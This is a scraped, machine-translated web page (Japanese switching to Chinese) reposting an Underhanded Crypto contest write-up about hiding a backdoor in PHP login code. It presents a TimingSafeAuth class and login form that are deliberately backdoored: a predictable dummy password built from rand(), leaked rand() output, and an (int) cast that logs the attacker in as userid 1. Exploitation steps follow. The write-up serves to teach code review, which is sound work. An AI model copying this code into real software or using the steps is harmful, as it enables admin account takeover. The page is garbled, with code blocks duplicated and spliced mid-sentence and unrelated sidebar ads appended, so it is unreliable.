#!php<?php/** * A password_* wrapper that is proactively secure against user enumeration from * the timing difference between a valid user (which runs through the * password_verify() function) and an invalid user (which does not). */class TimingSafeAuth{ private $db; public function __construct(\PDO $db) { $this->db = $db; $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT); } /** * Authenticate a user without leaking valid usernames through timing * side-channels * * @param string $username * @param string $password * @return int|false */ public function authenticate($username, $password) { $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username"); if ($stmt->execute(['username' => $username])) { $row = $stmt->fetch(\PDO::FETCH_ASSOC); // Valid username if (password_verify($password, $row['password'])) { return $row['userid']; } return false; } else { // Returns false return password_verify($password, $this->dummy_pw); } }}
#!php// Returns falsereturn password_verify($password, $this->dummy_pw);
Web アプリケーションの目に見えないバックドアの設計と実装
元のアドレス: https://stackoverflow.com/a/15494343/2224584
0x00 はじめに
平たく言えば、「バックドア」とは通常、コンピュータ犯罪者が最初にセキュリティを侵害した後に残したプログラムのことです。システムへの将来のアクセスを容易にするコード。
ただし、バックドアは、将来攻撃者がシステムを制御するために使用できるように、ソフトウェア プロジェクトに意図的に埋め込まれたセキュリティ ホールである可能性もあります。以下では、2 番目の状況について具体的に説明します。
この記事には具体的なコードがたくさん含まれていますので、一見して理解できない場合は、後で詳しく説明しますので、読み飛ばしていただいても問題ありません。
0x01 卑劣な暗号コンテスト
2015 年から始まった「卑劣な C プログラム コンテスト」に続き、Defcon ハッカー カンファレンスは暗号コードを巧妙に破壊できる最良の方法を見つけて記録するために「卑劣なパスワード コンテスト」を開始しました。 DEFCON 23 では、
- GnuPG Backdoor という 2 つのイベントが開催されました。
- パスワード認証バックドア。
2回目のイベントに参加し、優勝しました。 この記事では、私のエントリーがどのように機能するのか、悪意のあるコードを神聖なものに見せる方法、そしてこれがソフトウェア開発に与える直接的な影響について説明します。
0x02 パスワード認証バックドアを再設計する方法
まず、政府職員がこのブロガーを発見し、バックドアの実装のために私を雇いたいと考えたと仮定します。
ステップ 1: 素晴らしいカバーストーリーを作成します。
DEFCON 23 会議の直前に、暗号化の専門家 Scott Contini が、ユーザー アカウントを列挙するための逐次サイドチャネル攻撃を紹介する記事を公開しました。その動作原理は次のとおりです。ユーザー名とパスワードのアプリケーション。
- このユーザー名はすでに登録されていますか? 「はい」の場合は、続行します。それ以外の場合は、「不正なユーザー名/パスワード」が表示されます。
- 次にパスワードを検証します。これは実際にはパスワードのハッシュ値が一致するかどうかを検証します。一致しない場合は、「不正なユーザー名/パスワード」が返されます。
- ステップ 3 に合格した場合、ユーザーは認証に合格したことになります。
- 攻撃者の観点から見ると、2 番目のステップを無効にする方が、3 番目のステップを無効にするよりも多くの時間を節約できます。これを行うと、他の部分が解読不可能であっても、攻撃者は有効なユーザー名を見つけるためにリクエストのバッチを送信することができます。
これまでの全体的な計画は次のとおりです:
タイミング攻撃に基づいてアカウント列挙の脆弱性を解決したように見せかけるソリューションを推奨します。
- 次に、ソリューションにバックドアを隠します。
- 同時に、一般の開発者の目の前でも気づかれないように、偽装には注意してください。
- ステップ 2: 設計フェーズ
#!php<?php/** * A password_* wrapper that is proactively secure against user enumeration from * the timing difference between a valid user (which runs through the * password_verify() function) and an invalid user (which does not). */class TimingSafeAuth{ private $db; public function __construct(\PDO $db) { $this->db = $db; $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT); } /** * Authenticate a user without leaking valid usernames through timing * side-channels * * @param string $username * @param string $password * @return int|false */ public function authenticate($username, $password) { $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username"); if ($stmt->execute(['username' => $username])) { $row = $stmt->fetch(\PDO::FETCH_ASSOC); // Valid username if (password_verify($password, $row['password'])) { return $row['userid']; } return false; } else { // Returns false return password_verify($password, $this->dummy_pw); } }}
ログイン後にコピー
timingsafeauth クラスがインスタンス化されると、関数 noise() の呼び出しによりダミーのパスワードが作成されます (これは適応されています) #!php<?php/** * A password_* wrapper that is proactively secure against user enumeration from * the timing difference between a valid user (which runs through the * password_verify() function) and an invalid user (which does not). */class TimingSafeAuth{ private $db; public function __construct(\PDO $db) { $this->db = $db; $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT); } /** * Authenticate a user without leaking valid usernames through timing * side-channels * * @param string $username * @param string $password * @return int|false */ public function authenticate($username, $password) { $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username"); if ($stmt->execute(['username' => $username])) { $row = $stmt->fetch(\PDO::FETCH_ASSOC); // Valid username if (password_verify($password, $row['password'])) { return $row['userid']; } return false; } else { // Returns false return password_verify($password, $this->dummy_pw); } }}
#!php/** * Generate a random string with our specific charset, which conforms to the * RFC 4648 standard for BASE32 encoding. * * @return string */function noise(){ return substr( str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)), 0, 32 );}
すべてのログイン スクリプトに必要なtimingsafeauth オブジェクトをインスタンス化した後、最終的にユーザー名とパスワードをtimingsafeauth ->authenticate()に渡します。これによりデータベース クエリが実行され、次の 2 つのうちの 1 つが実行されます:
If usernameが見つかった場合、提供されたパスワードは、password_verify() 関数を使用して、ユーザーの対応するファイルの bcrypt ハッシュ値と一致するかどうかを比較することによって検証されます。
- それ以外の場合は、指定されたパスワードと偽の bcrypt ハッシュを引数として使用して、password_verify() を呼び出します。
- $->dummy_pw はランダムに生成された文字列の bcrypt ハッシュであるため、上記の 2 番目のオプションが常に失敗して false を返すようにしますが、このプロセスには常にほぼ同じ時間がかかります (したがって、タイミング サイド チャネルが隠蔽されます)。 、 右?
さて、最大の嘘がここに隠されています:
#!php// Returns falsereturn password_verify($password, $this->dummy_pw);
ログイン後にコピー
もちろん、攻撃者が $this->dummy_pw の値を推測した場合、この関数は常に偽の値を返すわけではありません。 「ダムパスワード」の場合は、true 値を返すことができます。正しい実装は次のようになります: #!php// Returns falsereturn password_verify($password, $this->dummy_pw);
#!phppassword_verify($password, $this->dummy_pw);return false;
」
不! 因为从密码学的角度来看, str_shuffle()函数算不上安全的伪随机数发生器。要理解这一点,我们必须来考察一下 str_shuffle()函数的PHP实现代码:
#!phpstatic void php_string_shuffle(char *str, zend_long len) /* {{{ */{ zend_long n_elems, rnd_idx, n_left; char temp; /* The implementation is stolen from array_data_shuffle */ /* Thus the characteristics of the randomization are the same */ n_elems = len; if (n_elems <= 1) { return; } n_left = n_elems; while (--n_left) { rnd_idx = php_rand(); RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX); if (rnd_idx != n_left) { temp = str[n_left]; str[n_left] = str[rnd_idx]; str[rnd_idx] = temp; } }}
你注意到 rnd_idx = php_rand();这一行了吗? 对于rand(),是一个常见的线性同余随机数生成器,重要的是这种类型的随机数生成器是可破解的,具体可以参考 https://stackoverflow.com/a/15494343/2224584。
下面我们简单的回顾一下:
• 如果你猜中了哑口令,那么函数TimingSafeAuth->authenticate()就会返回true。 • 这个哑口令是由一个不安全的,并且是可预测的随机数生成器生成的,这个随机数生成器取自一个现实中的PHP项目。 • 只有那些非常熟悉密码学以及精通PHP的开发人员才会意识到这里隐藏的危险。
这个是有用的,但没有多少可利用性。在接下来的实现阶段,我们就会把这个故意设计的安全漏洞安插到我们的代码之中。
第三步:实现后门
我们的登录表单大致如下所示:
#!php<?php# This is all just preamble stuff, ignore it.require_once dirname(__DIR__).'/autoload.php';$pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');session_start();# Start hereif (!isset($_SESSION['userid'])) { # If you aren't currently logged in... if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) { # If you sent a CSRF token in the POST form data and a CSRF cookie if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) { # And they match (compared in constant time!), proceed $auth = new TimingSafeAuth($pdo); # Pass the given username and password to the authenticate() method. $userid = (int) $auth->authenticate($_POST['username'], $_POST['password']); # Take note of the type cast to (int). if ($userid) { // Success! $_SESSION['userid'] = $userid; header("Location: /"); exit; } } } # This is the login form: require_once dirname(__DIR__).'/secret/login_form.php';} else { # This is where you want to be: require_once dirname(__DIR__).'/secret/login_successful.php';}
现在,我们来看最后一个代码块( login_form_.PHP,该代码用来给未授权的用户生成登录表单):
#!php<?phpif (!isset($_COOKIE['csrf'])) { # Remember this? $csrf = noise(); setcookie('csrf', $csrf);} else { $csrf = $_COOKIE['csrf'];}?><!DOCTYPE html><html><head> <title>Log In</title> <!-- # Below: We leak rand(); but that's totally benign, right? --> <link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?></head><body><form method="post" action="/"> <input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" /> <table> <tr> <td> <fieldset> <legend>Username</legend> <input type="text" name="username" required="required" /> </fieldset> </td> <td> <fieldset> <legend>Password</legend> <input type="password" name="password" required="required" /> </fieldset> </td> </tr> <tr> <td colsan="2"> <button type="submit"> Log In </button> </td> </tr> </table></form></body></html>
这段代码主要就是生成一个完全正常的口令表单。它还包括基本的CSRF保护措施,也是由noise()来实现的。 每当你加载没有cookie的页面时,它都会由noise()生成的输出来作为一个新的CSRF cookie。
当然单靠这些我们就可以找出随机数生成程序的种子值并预测出哑口令,但是,我们还可以进一步通过样式查询字符串来泄露rand()的输出。 实际上,这个新的CSRF cookie对于在无需失败的登录尝试的条件下来判断noise()的预测是否成功非常有用。
你有没有注意到 $userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);这一行代码呢? 它实际上就是我们后门中的另一行代码。当转换为整数的时候,PHP就会把true的值设置为1。在Web应用中,用户标识符取值较低的,通常都与管理账户有关。
0x04 利用方法
将上面的所有信息综合起来,你就会发现实际上利用方法非常简单:
- 向登录表单发送一些良性的请求,并且每次都要故意漏掉CSRF cookie,同时密切关注HTML中style.css后面的查询字符串。
- 不要忘了你可以准确地预测下一个CSRF cookie,你可以将它作为随机选择的用户名的一个口令。需要注意的是,这个用户名必须足够随机,以确保它不是一个有效的用户名。
- 最终会作为userid =1的用户登录。
0x05 这个后门给我们的提示是什么?
- 不要火急火燎的让开发人员修补他们尚未完全弄明白的安全漏洞。
- 对于那些难题的新颖解决方案都应该通过专家进行仔细审查。
- 用户枚举是一个非常棘手的难题。在我看来,与其将力气花在解决用户枚举问题上面,还不如设法提高口令的安全性。口令管理程序能够带来更大的帮助!

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHPクライアントURL(CURL)拡張機能は、開発者にとって強力なツールであり、リモートサーバーやREST APIとのシームレスな対話を可能にします。尊敬されるマルチプロトコルファイル転送ライブラリであるLibcurlを活用することにより、PHP Curlは効率的なexecuを促進します

顧客の最も差し迫った問題にリアルタイムでインスタントソリューションを提供したいですか? ライブチャットを使用すると、顧客とのリアルタイムな会話を行い、すぐに問題を解決できます。それはあなたがあなたのカスタムにより速いサービスを提供することを可能にします

記事では、PHP 5.3で導入されたPHPの後期静的結合(LSB)について説明し、より柔軟な継承を求める静的メソッドコールのランタイム解像度を可能にします。 LSBの実用的なアプリケーションと潜在的なパフォーマ

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

記事では、入力検証、認証、定期的な更新など、脆弱性から保護するためのフレームワークの重要なセキュリティ機能について説明します。

PHP開発でPHPのCurlライブラリを使用してJSONデータを送信すると、外部APIと対話する必要があることがよくあります。一般的な方法の1つは、Curlライブラリを使用して投稿を送信することです。

この記事では、フレームワークにカスタム機能を追加し、アーキテクチャの理解、拡張ポイントの識別、統合とデバッグのベストプラクティスに焦点を当てています。
